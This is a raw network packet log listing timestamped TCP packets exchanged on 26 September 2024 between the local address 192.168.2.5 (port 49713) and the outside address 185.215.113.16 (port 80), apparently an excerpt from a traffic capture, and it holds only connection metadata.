Sep 26, 2024 21:33:05.441303968 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.441319942 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.441325903 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.441334963 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.441346884 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.441349983 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.441365004 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.441379070 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.441387892 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.441402912 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.441417933 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.441425085 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.441432953 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.441447020 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.441447973 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.441489935 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.442904949 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.442925930 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.442940950 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.442955971 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.442970037 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.442976952 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.442992926 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.443001986 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.443008900 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.443023920 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.443026066 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.443063974 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.496190071 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.496223927 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.496238947 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.496254921 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.496270895 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.496285915 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.496303082 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.496351957 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.496376038 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.496395111 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.496412039 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.496417046 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.496479034 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.496479034 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.496496916 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.496505976 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.496512890 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.496529102 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.496542931 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.496556044 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.496562958 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.496579885 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.496599913 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.496628046 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.497057915 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.497073889 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.497088909 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.497102976 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.497117996 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.497117996 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.497133970 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.497149944 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.497163057 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.497172117 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.497179031 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.497194052 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.497208118 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.497221947 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.497226000 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.497236967 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.497251987 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.497260094 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.497267008 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.497281075 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.497291088 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.497298002 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.497318029 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.497344971 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.531754017 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.531779051 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.531794071 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.531801939 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.531816006 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.531831980 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.531847954 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.532001019 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.532157898 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.532174110 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.532188892 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.532195091 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.532205105 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.532221079 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.532229900 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.532238007 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.532246113 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.532250881 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.532265902 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.532282114 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.532334089 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.532370090 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.532989979 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.533008099 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.533023119 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.533036947 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.533051014 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.533065081 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.533065081 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.533081055 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.533094883 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.533108950 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.533119917 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.533123970 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.533139944 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.533152103 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.533164978 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.533165932 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.533180952 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.533194065 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.533209085 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.533220053 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.533224106 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.533241987 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.533252954 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.533252954 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.533274889 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.533310890 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.533991098 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534007072 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534022093 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534035921 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534046888 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.534050941 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534069061 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534084082 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534097910 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534110069 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534123898 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534132004 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.534141064 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534153938 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534162045 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.534162045 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.534169912 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534172058 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.534188032 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534202099 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534216881 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534219980 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.534233093 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534262896 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.534285069 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.534846067 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534862041 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534876108 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534888983 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534894943 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.534905910 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534920931 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534929991 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.534935951 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534950018 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534964085 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534970999 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.534980059 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.534993887 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.535003901 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.535008907 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.535023928 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.535034895 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.535037994 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.535053015 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.535065889 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.535078049 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.535082102 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.535098076 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.535118103 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.535140991 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.536051989 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.536073923 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.536087990 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.536102057 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.536113024 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.536117077 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.536133051 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.536147118 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.536160946 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.536160946 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.536176920 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.536190987 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.536206007 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.536210060 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.536240101 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.536264896 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.584309101 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.584378004 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.584393978 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.584526062 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.584541082 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.584541082 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.584541082 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.584556103 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.584572077 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.584597111 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.584625959 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.584661961 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.584676981 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.584707022 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.584719896 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.584721088 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.584768057 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.584809065 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.584855080 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.584876060 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.584889889 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.584903955 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.584914923 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.584943056 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.585835934 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.585881948 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.585896969 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.585901976 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.585944891 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.586035013 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.586050034 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.586062908 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.586076975 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.586090088 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.586091042 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.586137056 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.586180925 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.586272001 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.586287022 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.586299896 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.586313963 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.586325884 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.586327076 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.586343050 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.586353064 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.586359024 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.586407900 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.586420059 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.586571932 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.586628914 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.586659908 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.586674929 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.586688995 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.586703062 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.586709976 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.586725950 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.586735964 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.586771011 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.620306015 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.620347977 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.620366096 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.620397091 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.620410919 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.620424986 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.620440006 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.620649099 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.620663881 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.620678902 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.620691061 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.620728016 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.620775938 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.620775938 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.620779991 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.620796919 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.620810986 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.620829105 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.620860100 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.620865107 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.620879889 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.620893955 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.620908022 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.620923042 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.620930910 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.620968103 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.620990038 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.621239901 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.621295929 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.621304035 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.621318102 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.621351957 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.621378899 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.621388912 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.621403933 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.621423006 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.621433973 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.621455908 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.621480942 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.621642113 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.621656895 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.621671915 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.621685028 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.621695042 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.621700048 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.621714115 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.621727943 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.621736050 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.621743917 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.621757984 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.621762991 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.621789932 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.621810913 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.621975899 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.621992111 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.622028112 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.622051954 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.622143984 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.622158051 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.622190952 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.622212887 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.622215986 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.622236013 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.622251987 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.622261047 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.622273922 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.622282982 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.622287989 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.622307062 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.622330904 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.622499943 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.622514963 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.622529984 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.622544050 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.622559071 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.622572899 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.622586966 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.622647047 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.622647047 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.622978926 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.623035908 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:05.623085976 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.623101950 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:05.623135090 CEST	49713	80	192.168.2.5	185.215.113.16
